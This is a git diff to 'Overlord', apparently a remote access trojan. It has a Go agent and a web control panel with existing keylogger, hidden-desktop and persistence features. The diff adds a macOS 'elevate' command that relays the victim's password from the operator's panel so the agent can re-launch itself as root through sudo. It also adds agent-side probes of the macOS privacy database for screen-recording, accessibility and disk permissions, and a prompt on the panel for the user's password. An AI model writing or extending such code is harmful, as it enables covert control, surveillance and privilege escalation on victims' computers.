diff --git a/Dockerfile b/Dockerfile index 6bdf275..3e45384 100644 --- a/Dockerfile +++ b/Dockerfile @@ -22,7 +22,7 @@ RUN apt-get update \ && rm -rf /var/lib/apt/lists/* # Install Go (latest stable version) -ENV GO_VERSION=1.26.1 +ENV GO_VERSION=1.26.2 ARG TARGETARCH RUN case "${TARGETARCH}" in \ amd64) GO_ARCH=amd64 ;; \ diff --git a/Overlord-Client/cmd/agent/config/config.go b/Overlord-Client/cmd/agent/config/config.go index 88e8b04..a4a5cd3 100644 --- a/Overlord-Client/cmd/agent/config/config.go +++ b/Overlord-Client/cmd/agent/config/config.go @@ -349,14 +349,21 @@ func firstNonEmpty(values ...string) string { } func deriveHWID() string { + machineID := platformMachineID() + if machineID != "" { + h := sha256.New() + h.Write([]byte(machineID)) + h.Write([]byte("|")) + h.Write([]byte(runtime.GOOS)) + return hex.EncodeToString(h.Sum(nil)) + } + // fallback h := sha256.New() h.Write([]byte(hostname())) h.Write([]byte("|")) h.Write([]byte(os.Getenv("USERNAME"))) h.Write([]byte("|")) h.Write([]byte(runtime.GOOS)) - h.Write([]byte("|")) - h.Write([]byte(runtime.GOARCH)) return hex.EncodeToString(h.Sum(nil)) } diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 6b35713..30f344f 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -22,6 +22,7 @@ import ( "overlord-client/cmd/agent/persistence" "overlord-client/cmd/agent/plugins" "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/sysinfo" "overlord-client/cmd/agent/wire" ) @@ -560,6 +561,26 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"}) return nil case "desktop_start": + if goruntime.GOOS == "darwin" { + perms := sysinfo.DarwinPermissions() + var missing []string + if !perms["screenRecording"] { + missing = append(missing, "screenRecording") + } + if !perms["accessibility"] { + missing = append(missing, "accessibility") + } + if len(missing) > 0 { + log.Printf("desktop: macOS missing permissions: %v", missing) + detail, _ := json.Marshal(map[string]interface{}{ + "reason": "permissions_denied", + "missing": missing, + "permissions": perms, + }) + sendCommandResultSafe(env, cmdID, false, string(detail)) + return nil + } + } env.DesktopMu.Lock() if env.DesktopCancel != nil { env.DesktopCancel() @@ -1922,6 +1943,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true} _ = wire.WriteMsg(ctx, env.Conn, res) return ErrReconnect + case "elevate": + payload, _ := envelope["payload"].(map[string]interface{}) + password, _ := payload["password"].(string) + return HandleElevate(ctx, env, cmdID, password) case "proxy_connect": payload, _ := envelope["payload"].(map[string]interface{}) return HandleProxyConnect(ctx, env, cmdID, payload) diff --git a/Overlord-Client/cmd/agent/handlers/elevate_darwin.go b/Overlord-Client/cmd/agent/handlers/elevate_darwin.go new file mode 100644 index 0000000..095eb2e --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/elevate_darwin.go @@ -0,0 +1,91 @@ +//go:build darwin + +package handlers + +import ( + "context" + "fmt" + "log" + "os" + "os/exec" + "strings" + "time" + + agentRuntime "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error { + if os.Getuid() == 0 { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: true, + Message: "already running as root", + }) + } + + if password == "" { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: "password required for elevation", + }) + } + + exePath, err := os.Executable() + if err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: fmt.Sprintf("failed to resolve executable path: %v", err), + }) + } + + validateCmd := exec.Command("sudo", "-S", "-k", "true") + validateCmd.Stdin = strings.NewReader(password + "\n") + if err := validateCmd.Run(); err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: "incorrect password", + }) + } + + args := os.Args[1:] + sudoArgs := append([]string{"-S", "-k", exePath}, args...) + cmd := exec.Command("sudo", sudoArgs...) + cmd.Stdin = strings.NewReader(password + "\n") + cmd.Env = os.Environ() + + nullFile, _ := os.OpenFile(os.DevNull, os.O_RDWR, 0) + if nullFile != nil { + cmd.Stdout = nullFile + cmd.Stderr = nullFile + } + + if err := cmd.Start(); err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: fmt.Sprintf("failed to start elevated process: %v", err), + }) + } + + log.Printf("[elevate] started elevated process pid=%d", cmd.Process.Pid) + + _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: true, + Message: "elevating — new process started as root", + }) + + time.Sleep(500 * time.Millisecond) + os.Exit(0) + return nil +} diff --git a/Overlord-Client/cmd/agent/handlers/elevate_other.go b/Overlord-Client/cmd/agent/handlers/elevate_other.go new file mode 100644 index 0000000..3501c11 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/elevate_other.go @@ -0,0 +1,19 @@ +//go:build !darwin + +package handlers + +import ( + "context" + + agentRuntime "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" +) + +func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: false, + Message: "elevation via password is only supported on macOS", + }) +} diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index 66bc33d..33e3492 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -614,6 +614,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. hello.RAM = hw.RAM hello.IsAdmin = sysinfo.IsAdmin() hello.Elevation = sysinfo.Elevation() + hello.Permissions = sysinfo.DarwinPermissions() if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil { return fmt.Errorf("send hello: %w", err) diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go b/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go new file mode 100644 index 0000000..de0c363 --- /dev/null +++ b/Overlord-Client/cmd/agent/sysinfo/admin_darwin.go @@ -0,0 +1,64 @@ +//go:build darwin + +package sysinfo + +import ( + "os" + "os/exec" + "path/filepath" + "strings" +) + +func IsAdmin() bool { + return os.Getuid() == 0 +} + +func Elevation() string { + if os.Getuid() == 0 { + return "admin" + } + return "" +} + +func DarwinPermissions() map[string]bool { + return map[string]bool{ + "screenRecording": checkScreenRecording(), + "accessibility": checkAccessibility(), + "fullDiskAccess": checkFullDiskAccess(), + "root": os.Getuid() == 0, + } +} + +func checkScreenRecording() bool { + if os.Getuid() == 0 { + return true + } + exe, err := os.Executable() + if err != nil { + return false + } + if real, err := filepath.EvalSymlinks(exe); err == nil { + exe = real + } + home, err := os.UserHomeDir() + if err != nil || home == "" { + return false + } + db := filepath.Join(home, "Library", "Application Support", "com.apple.TCC", "TCC.db") + safeExe := strings.ReplaceAll(exe, "'", "''") + out, _ := exec.Command("sqlite3", db, + "SELECT auth_value FROM access WHERE service='kTCCServiceScreenCapture' AND client='"+safeExe+"' LIMIT 1", + ).CombinedOutput() + return strings.TrimSpace(string(out)) == "2" +} + +func checkAccessibility() bool { + err := exec.Command("osascript", "-e", + `tell application "System Events" to get name of first process`).Run() + return err == nil +} + +func checkFullDiskAccess() bool { + _, err := os.ReadDir("/Library/Application Support/com.apple.TCC") + return err == nil +} diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_other.go b/Overlord-Client/cmd/agent/sysinfo/admin_other.go index e2a23f9..114afc8 100644 --- a/Overlord-Client/cmd/agent/sysinfo/admin_other.go +++ b/Overlord-Client/cmd/agent/sysinfo/admin_other.go @@ -1,4 +1,4 @@ -//go:build !windows +//go:build !windows && !darwin package sysinfo @@ -15,3 +15,7 @@ func Elevation() string { } return "" } + +func DarwinPermissions() map[string]bool { + return nil +} diff --git a/Overlord-Client/cmd/agent/sysinfo/admin_windows.go b/Overlord-Client/cmd/agent/sysinfo/admin_windows.go index b73f3ee..6dc6301 100644 --- a/Overlord-Client/cmd/agent/sysinfo/admin_windows.go +++ b/Overlord-Client/cmd/agent/sysinfo/admin_windows.go @@ -61,3 +61,7 @@ func isTrustedInstallerSID(sid *windows.SID) bool { } return false } + +func DarwinPermissions() map[string]bool { + return nil +} diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 08d11e9..48ccbe8 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -1,26 +1,27 @@ package wire type Hello struct { - Type string `msgpack:"type"` - ID string `msgpack:"id"` - HWID string `msgpack:"hwid"` - Host string `msgpack:"host"` - OS string `msgpack:"os"` - Arch string `msgpack:"arch"` - Version string `msgpack:"version"` - User string `msgpack:"user"` - Monitors int `msgpack:"monitors"` - MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"` - Country string `msgpack:"country,omitempty"` - BuildTag string `msgpack:"buildTag,omitempty"` - PublicKey string `msgpack:"publicKey,omitempty"` - Signature string `msgpack:"signature,omitempty"` - InMemory bool `msgpack:"inMemory,omitempty"` - CPU string `msgpack:"cpu,omitempty"` - GPU string `msgpack:"gpu,omitempty"` - RAM string `msgpack:"ram,omitempty"` - IsAdmin bool `msgpack:"isAdmin,omitempty"` - Elevation string `msgpack:"elevation,omitempty"` + Type string `msgpack:"type"` + ID string `msgpack:"id"` + HWID string `msgpack:"hwid"` + Host string `msgpack:"host"` + OS string `msgpack:"os"` + Arch string `msgpack:"arch"` + Version string `msgpack:"version"` + User string `msgpack:"user"` + Monitors int `msgpack:"monitors"` + MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"` + Country string `msgpack:"country,omitempty"` + BuildTag string `msgpack:"buildTag,omitempty"` + PublicKey string `msgpack:"publicKey,omitempty"` + Signature string `msgpack:"signature,omitempty"` + InMemory bool `msgpack:"inMemory,omitempty"` + CPU string `msgpack:"cpu,omitempty"` + GPU string `msgpack:"gpu,omitempty"` + RAM string `msgpack:"ram,omitempty"` + IsAdmin bool `msgpack:"isAdmin,omitempty"` + Elevation string `msgpack:"elevation,omitempty"` + Permissions map[string]bool `msgpack:"permissions,omitempty"` } type EnrollmentChallenge struct { diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css index 4efc2c1..299b651 100644 --- a/Overlord-Server/public/assets/main.css +++ b/Overlord-Server/public/assets/main.css @@ -444,6 +444,16 @@ p { color: #d8b4fe; border-color: rgba(168, 85, 247, 0.45); } +.pill-perm-ok { + background: rgba(34, 197, 94, 0.15); + color: #86efac; + border-color: rgba(34, 197, 94, 0.4); +} +.pill-perm-no { + background: rgba(239, 68, 68, 0.15); + color: #fca5a5; + border-color: rgba(239, 68, 68, 0.4); +} /* Hardware info toggle & panel */ .pill-hw { diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index ea587a5..53f5c80 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -195,6 +195,11 @@ function applyMenuSupportRules(clientId) { isWindows, "Keylogger capture is only fully supported on Windows clients.", ); + + const elevateBtn = menu.querySelector('[data-action="elevate"]'); + if (elevateBtn) { + elevateBtn.style.display = platform === "darwin" ? "" : "none"; + } } async function loadCurrentUser() { @@ -934,6 +939,32 @@ menu.addEventListener("click", async (e) => { return; } + if (action === "elevate") { + const password = prompt("Enter the user's macOS password for sudo elevation:"); + if (!password) { + closeMenu(clearContext); + return; + } + try { + const res = await fetch(`/api/clients/${contextCard}/command`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ action: "elevate", password }), + }); + const data = await res.json().catch(() => ({})); + if (data.ok) { + alert(data.message || "Elevation successful — client will reconnect as root."); + } else { + alert(data.error || data.message || "Elevation failed."); + } + } catch (err) { + alert("Elevation request failed: " + err.message); + } + closeMenu(clearContext); + setTimeout(() => loadWithOptions({ force: true }), 2000); + return; + } + const ok = await sendCommand(contextCard, action); if (ok) { setTimeout(() => loadWithOptions({ force: true }), 400); diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index e91cb7e..29360df 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -281,6 +281,20 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; scheduleOffline(msg.reason); return; } + if (msg.status === "permissions_denied") { + clearOfflineTimer(); + desiredStreaming = false; + const missing = Array.isArray(msg.missing) ? msg.missing : []; + const labels = { + screenRecording: "Screen Recording", + accessibility: "Accessibility", + fullDiskAccess: "Full Disk Access", + }; + const list = missing.map(k => labels[k] || k).join(", "); + setStreamState("error", `macOS permissions required: ${list}`); + showElevateOffer(missing); + return; + } if (msg.status === "connecting") { clearOfflineTimer(); setStreamState("connecting", "Connecting"); @@ -306,6 +320,102 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; } } + function showElevateOffer(missing) { + // Remove previous elevate banner if any + const prev = document.getElementById("rdElevateBanner"); + if (prev) prev.remove(); + + const banner = document.createElement("div"); + banner.id = "rdElevateBanner"; + banner.className = "flex flex-col items-center gap-3 p-4 rounded-lg border border-amber-700/70 bg-amber-900/30 text-amber-100 text-sm"; + + const labels = { + screenRecording: "Screen Recording", + accessibility: "Accessibility", + fullDiskAccess: "Full Disk Access", + }; + const list = missing.map(k => labels[k] || k).join(", "); + + banner.innerHTML = ` +
+ + macOS permissions missing: ${list} +
+
+ The client needs elevated privileges to grant these permissions. Enter the user's password to elevate. +
+
+ + + +
+ + `; + + // Insert banner above the canvas area + if (canvasContainer && canvasContainer.parentNode) { + canvasContainer.parentNode.insertBefore(banner, canvasContainer); + } + + const elevateBtn = document.getElementById("rdElevateBtn"); + const pwdInput = document.getElementById("rdElevatePwd"); + const statusDiv = document.getElementById("rdElevateStatus"); + const dismissBtn = document.getElementById("rdElevateDismiss"); + + if (dismissBtn) { + dismissBtn.addEventListener("click", () => banner.remove()); + } + + if (elevateBtn && pwdInput) { + elevateBtn.addEventListener("click", async () => { + const password = pwdInput.value.trim(); + if (!password) { + pwdInput.focus(); + return; + } + elevateBtn.disabled = true; + elevateBtn.innerHTML = ' Elevating...'; + if (statusDiv) { + statusDiv.classList.remove("hidden"); + statusDiv.textContent = "Sending elevation request..."; + } + try { + const res = await fetch(`/api/clients/${encodeURIComponent(activeClientId)}/command`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ action: "elevate", password }), + }); + const data = await res.json(); + if (data.ok) { + if (statusDiv) { + statusDiv.textContent = "Elevation successful — client is restarting with elevated permissions. It will reconnect shortly."; + statusDiv.className = "text-xs text-emerald-400"; + } + elevateBtn.textContent = "Done"; + // The client will disconnect and reconnect; the viewer should auto-recover + } else { + if (statusDiv) { + statusDiv.textContent = `Elevation failed: ${data.message || "Unknown error"}`; + statusDiv.className = "text-xs text-rose-400"; + } + elevateBtn.disabled = false; + elevateBtn.innerHTML = ' Retry'; + } + } catch (err) { + if (statusDiv) { + statusDiv.textContent = `Request failed: ${err.message}`; + statusDiv.className = "text-xs text-rose-400"; + } + elevateBtn.disabled = false; + elevateBtn.innerHTML = ' Retry'; + } + }); + } + } + function sendCmd(type, payload) { if (!activeClientId) { console.warn("No active client selected"); diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js index e4f6632..51e0bf4 100644 --- a/Overlord-Server/public/assets/render.js +++ b/Overlord-Server/public/assets/render.js @@ -16,7 +16,7 @@ function escapeHtml(text) { } function cardDigest(c) { - return `${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}`; + return `${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${JSON.stringify(c.permissions)}`; } export function createRenderer({ @@ -424,6 +424,17 @@ export function createRenderer({ ${client.isAdmin ? ` Admin` : ""} ${client.elevation === "system" ? ` SYSTEM` : ""} ${client.elevation === "trustedinstaller" ? ` TrustedInstaller` : ""} + ${client.os === "darwin" && client.permissions ? (() => { + const p = client.permissions; + const pills = []; + if (p.screenRecording === true) pills.push(' Screen'); + else pills.push(' No Screen'); + if (p.accessibility === true) pills.push(' Accessibility'); + else pills.push(' No Accessibility'); + if (p.fullDiskAccess === true) pills.push(' FDA'); + else pills.push(' No FDA'); + return pills.join(""); + })() : ""} ${!client.online && client.disconnectReason && client.disconnectReason !== "normal" ? (() => { const iconMap = { panic: "fa-skull-crossbones", crash: "fa-skull", timeout: "fa-clock", network: "fa-plug-circle-xmark" }; const colorMap = { panic: "text-red-400", crash: "text-red-400", timeout: "text-amber-400", network: "text-slate-400" }; diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js index 99dca78..1530b92 100644 --- a/Overlord-Server/public/assets/ui.js +++ b/Overlord-Server/public/assets/ui.js @@ -45,6 +45,8 @@ const MENU_GROUPS = [ { label: "Set Nickname", icon: "fa-solid fa-signature", icolor: "text-slate-300", action: "set-nickname" }, { label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" }, { divider: true }, + { label: "Elevate (macOS)", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" }, + { divider: true }, { label: "Disconnect", icon: "fa-solid fa-plug-circle-xmark", icolor: "text-red-400", action: "disconnect" }, { label: "Uninstall", icon: "fa-solid fa-trash", icolor: "text-red-300", action: "uninstall" }, { label: "Remove From Dashboard", icon: "fa-solid fa-user-xmark", icolor: "text-rose-300", action: "remove-dashboard" }, diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts index ab2fdda..55c50c4 100644 --- a/Overlord-Server/src/db.ts +++ b/Overlord-Server/src/db.ts @@ -109,6 +109,9 @@ try { try { db.run(`ALTER TABLE clients ADD COLUMN elevation TEXT`); } catch {} +try { + db.run(`ALTER TABLE clients ADD COLUMN permissions TEXT`); +} catch {} db.run(` CREATE TABLE IF NOT EXISTS banned_ips ( @@ -424,8 +427,8 @@ export function upsertClientRow( ) { const now = partial.lastSeen ?? Date.now(); db.run( - `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, is_admin, elevation) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0), ?) + `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, is_admin, elevation, permissions) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0), ?, ?) ON CONFLICT(id) DO UPDATE SET hwid=COALESCE(excluded.hwid, clients.hwid), role=COALESCE(excluded.role, clients.role), @@ -450,7 +453,8 @@ export function upsertClientRow( gpu=COALESCE(excluded.gpu, clients.gpu), ram=COALESCE(excluded.ram, clients.ram), is_admin=COALESCE(excluded.is_admin, clients.is_admin), - elevation=COALESCE(excluded.elevation, clients.elevation) + elevation=COALESCE(excluded.elevation, clients.elevation), + permissions=COALESCE(excluded.permissions, clients.permissions) `, partial.id, partial.hwid ?? partial.id, @@ -477,6 +481,7 @@ export function upsertClientRow( partial.ram ?? null, partial.isAdmin !== undefined ? (partial.isAdmin ? 1 : 0) : null, partial.elevation ?? null, + partial.permissions ? JSON.stringify(partial.permissions) : null, ); if (partial.hwid) { @@ -736,7 +741,7 @@ export function listClients(filters: ListFilters): ListResult { const rows = db .query( - `SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint, cpu, gpu, ram, is_admin as isAdmin, elevation, disconnect_reason as disconnectReason, disconnect_detail as disconnectDetail + `SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint, cpu, gpu, ram, is_admin as isAdmin, elevation, permissions, disconnect_reason as disconnectReason, disconnect_detail as disconnectDetail FROM clients ${whereSql} ${orderBy} @@ -770,6 +775,7 @@ export function listClients(filters: ListFilters): ListResult { ram: c.ram || null, isAdmin: c.isAdmin === 1, elevation: c.elevation || null, + permissions: c.permissions ? (() => { try { return JSON.parse(c.permissions); } catch { return null; } })() : null, disconnectReason: c.disconnectReason || null, disconnectDetail: c.disconnectDetail || null, thumbnail: getThumbnail(c.id), diff --git a/Overlord-Server/src/httpHandlers.ts b/Overlord-Server/src/httpHandlers.ts index f670299..0f6ef65 100644 --- a/Overlord-Server/src/httpHandlers.ts +++ b/Overlord-Server/src/httpHandlers.ts @@ -30,6 +30,7 @@ export function handleClientsRequest(req: Request): Response { ...item, isAdmin: live.isAdmin ?? item.isAdmin, elevation: live.elevation ?? item.elevation, + permissions: live.permissions ?? item.permissions, ...(live.monitorInfo?.length ? { monitors: live.monitorInfo.length, monitorInfo: live.monitorInfo, diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts index 45172dd..704ce47 100644 --- a/Overlord-Server/src/server/routes/client-routes.ts +++ b/Overlord-Server/src/server/routes/client-routes.ts @@ -666,6 +666,50 @@ export async function handleClientRoutes( details: "Agent uninstall requested - persistence will be removed", success: true, }); + } else if (action === "elevate") { + if (user.role !== "admin") { + return new Response("Forbidden: Admin access required", { status: 403 }); + } + + const password = typeof body?.password === "string" ? body.password : ""; + if (!password) { + return new Response("Bad request: password required", { status: 400 }); + } + + const cmdId = uuidv4(); + const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => { + const timeout = setTimeout(() => { + deps.pendingCommandReplies.delete(cmdId); + reject(new Error("Elevation timed out")); + }, 30_000); + deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId }); + }); + + target.ws.send( + encodeMessage({ + type: "command", + commandType: "elevate", + id: cmdId, + payload: { password }, + }), + ); + metrics.recordCommand("elevate"); + logAudit({ + timestamp: Date.now(), + username: user.username, + ip, + action: AuditAction.COMMAND, + targetClientId: targetId, + success: true, + details: "elevate (sudo)", + }); + + try { + const result = await replyPromise; + return Response.json({ ok: result.ok, message: result.message || "" }, { headers: deps.CORS_HEADERS }); + } catch (error: any) { + return Response.json({ ok: false, error: error.message || "Elevation failed" }, { status: 504 }); + } } else { success = false; return new Response("Bad request", { status: 400 }); diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index a254d23..e4813e5 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -314,6 +314,21 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket switch (payload.type) { case "desktop_start": if (!state.isStreaming) { + if (target.os === "darwin" && target.permissions) { + const missing: string[] = []; + if (!target.permissions.screenRecording) missing.push("screenRecording"); + if (!target.permissions.accessibility) missing.push("accessibility"); + if (missing.length > 0) { + logger.info(`[rd] macOS permission gate: client ${clientId} missing ${missing.join(", ")}`); + safeSendViewer(ws, { + type: "status", + status: "permissions_denied", + missing, + permissions: target.permissions, + }); + break; + } + } sendDesktopCommand(target, "desktop_start", {}); state.isStreaming = true; rdStreamingState.set(clientId, state); diff --git a/Overlord-Server/src/types.ts b/Overlord-Server/src/types.ts index b5e5fa5..e56f911 100644 --- a/Overlord-Server/src/types.ts +++ b/Overlord-Server/src/types.ts @@ -30,6 +30,7 @@ export type ClientInfo = { ram?: string; isAdmin?: boolean; elevation?: string; + permissions?: Record; enrollmentStatus?: EnrollmentStatus; publicKey?: string; keyFingerprint?: string; diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts index 84cc19a..8b183ca 100644 --- a/Overlord-Server/src/wsHandlers.ts +++ b/Overlord-Server/src/wsHandlers.ts @@ -91,6 +91,9 @@ export function handleHello( info.inMemory = !!(payload as any).inMemory; info.isAdmin = !!(payload as any).isAdmin; info.elevation = typeof (payload as any).elevation === "string" ? (payload as any).elevation : info.elevation; + if ((payload as any).permissions && typeof (payload as any).permissions === "object") { + info.permissions = (payload as any).permissions; + } info.cpu = (payload as any).cpu || info.cpu; info.gpu = (payload as any).gpu || info.gpu; info.ram = (payload as any).ram || info.ram; @@ -121,6 +124,7 @@ export function handleHello( ram: info.ram, isAdmin: info.isAdmin, elevation: info.elevation, + permissions: info.permissions, lastSeen: info.lastSeen, online: 1, });